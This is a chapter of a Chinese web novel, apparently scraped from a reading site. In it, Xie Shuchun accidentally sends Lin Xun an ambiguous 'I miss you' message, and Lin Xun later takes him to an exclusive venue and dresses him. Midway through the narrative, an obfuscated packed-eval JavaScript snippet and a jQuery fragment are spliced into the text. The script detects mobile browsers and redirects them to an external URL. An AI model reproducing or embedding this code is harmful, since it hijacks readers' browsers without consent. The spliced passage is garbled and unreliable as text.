默认冷灰
24号文字
方正启体

4. 想你

作者:龙九九本书字数:K更新时间:
    “就是想知道,”林循坦然极了,不似谢束春的窘迫,“想知道我不在的日子里,你身边有没有什么新的人出现、新的事情发生啊。”


    “……没有。”谢束春的声音轻飘飘的,飘进了林循的耳朵里。


    他莫名觉得自己应该对着林循扯个谎,可到头来怎么都编不出。


    林循面上的笑意更甚,只说:“那我先回去了,后天见。”


    “后天见。”


    谢束春目送着车子缓缓驶离自己的目光所及,手掌忍不住贴上了胸膛。他有什么办法,能让那里跳得再慢一些吗?


    他屏气凝神,恍惚地回了房间。把手机插好充上电放在床头后,他径直走进了浴室。


    热气氤氲,他擦干了镜子上的薄雾——柔和白净的面庞,除了一双眼睛格外亮之外,好像真的没有什么特殊。


    可……林循说他比那时候好看多了。


    他不敢多想,裹着浴巾,发梢还滴着水就走了出来,坐在床边发着呆。


    等他回过神,已然看见自己点开了和林循的对话框,只是没有任何新的未读消息。


    反复几次,依旧沉寂。


    他看看时间,林循不过才离开三十分钟而已。


    他在心中暗骂自己没出息,可指尖还是忍不住悬在输入框上。


    正纠结着,对话框里忽然弹出一条他没见过的消息:【我到家了,睡了吗?】


    谢束春的心倏地漏跳一拍,指尖飞快地敲击:【刚洗完澡。】


    还未等他反应过来,自己已是下意识地敲了发送键。他有些懊恼自己的秒回,忙不迭地又打了几个字想要找补:【我在想你】


    只他没有打完,一滴未干的水从他发梢滚落,正正好好地砸在了发送键上。


    他立马手忙脚乱地想要撤回,他明明要说“我在想你是不是还在路上”,结果竟然只发出去了这么四个语意暧昧的字。


    怎么办?!


    只他手上是水,屏幕上也是水。慌张中他选中了删除,眼睁睁看着那条消息在他消失,再没了撤回的可能。


    完蛋了!


    他根本不敢想林循看到这条信息时会是什么表情,戏谑而又了然?他不知道,只是指尖发麻。


    于是,他看着对面的正在输入持续了半分钟,发过来一句:【我也想你呀。】


    还附带了一个小猫表情包。


    好像很开心。


    谢束春说的是自己。


    他忽然不想解释了。


    但林循却又紧跟了句:【但你还是要早点睡,我还有公司上的事情必须这会儿处理一下,晚安。】


    【好,晚安。】


    谢束春只觉得他又被当头泼了盆冷水,一下子就浇灭了他本就不该存在的幻想。


    他的目光不由自主地飘向了林循拿给他的礼盒,隔着精美的包装,他猜不到是什么。


    时间才过十点半,他犹豫再三,还是拿着礼盒敲响了隔壁王东的门。几句寒暄,王东推辞不过,还是收下了。


    谢束春长舒一口气,确实如林循所想,他这借花献佛之后,倒也对王东没那么愧疚了。只是愧疚转移了,愈发到了林循身上。


    这一夜,他辗转反侧,明明身上很累了,可闭上眼,脑子却格外清醒,一遍遍地重复着他今日所做之事。后半夜才迷迷糊糊地睡着,第二天又被王东笑话是豌豆公主,竟然还没适应酒店的床。


    他以为不见林循的两天会很难熬的,但好像一切又回到了原点。没有再联系,好像重逢不过是他一场做了八年的梦。


    到了展会最后一天的下午,人逐渐少了起来,他也多了些时间刷着手机。虽说看的是公众号发的本次展会的推文,可总是会点到聊天界面,一次次刷新着期望能看到某个人的信息。


    王东也闲了下来,凑在他旁边:“一会儿结束了,一起去吃个饭该?”


    谢束春没听见,还是王东扒拉了他一下:“想什么呢?这么入神,结束了一起去涮肉?”


    他猛地回神,忙不好意思地拒绝:“东哥,我和我朋友约好了……”


    只是到现在为止,还没有任何饭局的位置确认,他甚至不知道林循那天的……到底是不是一句玩笑话。


    “还是那天来找你的那个朋友?”王东啧了一声,“谢工,我看那个人的穿着打扮,不太是咱们这个阶层能接触的到的,你俩怎么认识的?靠谱吗?”


    “大学同学。”谢束春又解锁了手机,还是没有消息,“他家里确实挺好的。”


    “那还行,至少是正常路子认识的。”王东一拍脑袋,又想起了什么,“对了,那两瓶酒你拿回去吧,太贵重了。我当时还以为是什么杂牌子呢,结果上网一查竟然是奥帕特干白,还是2015年产的。”


    谢束春一愣:“很贵吗?”


    “贵?”王东瞪大了眼睛,“可能在你那朋友眼里不算什么吧,但快两万一瓶,我可不敢喝。”


    两万……一瓶酒?


    明明那天晚上林循拿的那么随便,他还以为……他不敢再想。而他给了林循什么?一个丑兮兮的玩偶,甚至还是他们公司批量做的。


    他的声音打着颤:“不用,东哥……不用,我朋友说给你的,就收下吧,也没关系的。”


    他努力维持着表面镇定,只觉得不能在这时候丢了林循的脸面。


    王东还在推拒,谢束春的肩膀却被人一把搂住。


    林循含笑的声音中带着不容置喙:“东哥,酒嘛,就是给人喝的东西。你尝尝,如果合口味,我再给你拿。这也算是我和小春的一片心意,毕竟——”


    “等会儿还得麻烦你多操心,帮着把小春这边收尾的事情处理一下,我现在可就要把他借走了。”


    谢束春身体僵硬地被林循半搂半带着离开了展馆,甚至没听清王东后面那句格外客气的“不麻烦”。


    “怎么了?”林循好笑地看着他,手松了点劲儿,可还搭在他的肩上,“怎么又变回刚见的样子了?不是都说想我了吗?”


    “不是!”谢束春瞬间脸颊爆红,急忙解释,“那天那个是……”


    可林循不给他辩驳的机会:“我不管,我就觉得你是想我了。唉,你都不知道我这两天快累死了。那天下午翘班出来找你,被我老妈抓个正着,押着我在公司连轴转了两天,忙得脚不沾地,连摸下手机的空隙都没有!”


    “我真的好想你啊,小春。”


    谢束春被他的话弄得脑子里一团浆糊,半天都磕巴不出一句囫囵话来。


    林循又是揉他的头发,顺便朝着旁边等候的车招了招手。


    有司机下来替他们开了门,谢束春多看了一眼,抿着唇上了车才敢问:“为什么不开那辆了?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033480|194589||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    小金人、星空顶,连车牌号都是重复的四个数字。


    “今天过去肯定要喝一些,有司机方便点。”林循跟着弯腰上车,长腿一迈,挤在了谢束春的身边,“到时候晚了的话,住我家呗,这边回来好远呢。”


    谢束春不动声色地往窗边挪了挪,试图拉开些距离,但没回应林循的提议。


    林循似乎真的很忙,没再追问,一路上都在对着电脑处理问题。


    车内渐渐只有键盘的敲击声,谢束春悄悄地松了口气,目光却不由自主地一次次飘向身旁专注工作的林循。不过两三秒,又着急地移开视线,生怕在对方百忙之中的某个抬眼的瞬间瞧见自己的眷恋目光。


    车子最终在一处极为僻静的小楼前停下,落地窗与白墙相辉。


    林循重重合上电脑,揉了揉额角。他率先下车,随即极其自然地朝车内的谢束春伸出手。


    谢束春犹豫了一瞬,还是将手搭了上去。


    踏入其中,若非看见躬身的服务生,谢束春几乎要以为自己误入了一座私人艺术馆。巨大垂落的水晶灯下,点缀着几件极具现代感的雕塑与画作。


    他垂头看看自己那件并不合身的西装,尴尬地扯了扯褶皱的衣角。他其实准备了件稍微正式的便服,但林循拉他出来太突然,他也忘了换。


    “要不要去一下卫生间?”林循仿佛看穿了他的窘迫,低声提议。


    谢束春如蒙大赦,连忙点头,循着指示走进了那个燃着檀香的空间。这里与其说是卫生间,不如说更像一个精致的休息室,甚至还隔出了一个更衣间。而更衣间的衣架上,赫然挂着一套搭配好的衣物。


    “看见衣服了吗?”林循的声音隔着门传来,“尺寸应该合适,毕竟……我抱你一下,就大概知道了。”


    谢束春的脸颊“轰”地一下烧了起来。


    他伸手取下那套衣服——一件质感极佳的米白色羊绒衫,配着剪裁利落的深色西装裤。他在身上比了比,尺寸果然分毫不差。不刻意正式,也大方得体。


    他深知这一套恐怕又是价格不菲,但没拒绝林循的好意,迅速地换了一整套,走了出去。


    林循就在门口等他,目光中带着毫不掩饰的欣赏,而后又自夸:“我眼光确实不错,很适合你,等过两天我让他们再送几套过来。”


    “别别!”谢束春拒绝的话都快说累了,“一套就够了,这套我今天穿完,也别……”


    浪费在我身上。


    “别怎么?”林循佯作生气,“我林循送出去的东西,还有被退回来的道理?这点面子都不给我?”


    谢束春叹了口气,他是真的不敢收。


    “领子没弄好。”林循上前一步,正面环住他,双手绕到他颈后,细致地替他整理起羊绒衫的领口和里面衬衫的衣领。


    他根本不敢动弹,只能垂着眼,任由林循的动作,感受着指尖偶尔擦过颈后皮肤带来的战栗。


    “吱呀”一声,门毫无预兆地被人从外面推开。


    谢束春如同惊弓之鸟,下意识就想从林循的臂弯中挣脱开来。


    然而,他非但没能挣脱,林循的手臂反而收得更紧,将他更牢地固定在了原地,紧密相贴。


    门口传来一个带着戏谑笑意的男声,打破了旖旎与紧绷。


    ——“哟!看来我来的很不是时候啊!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)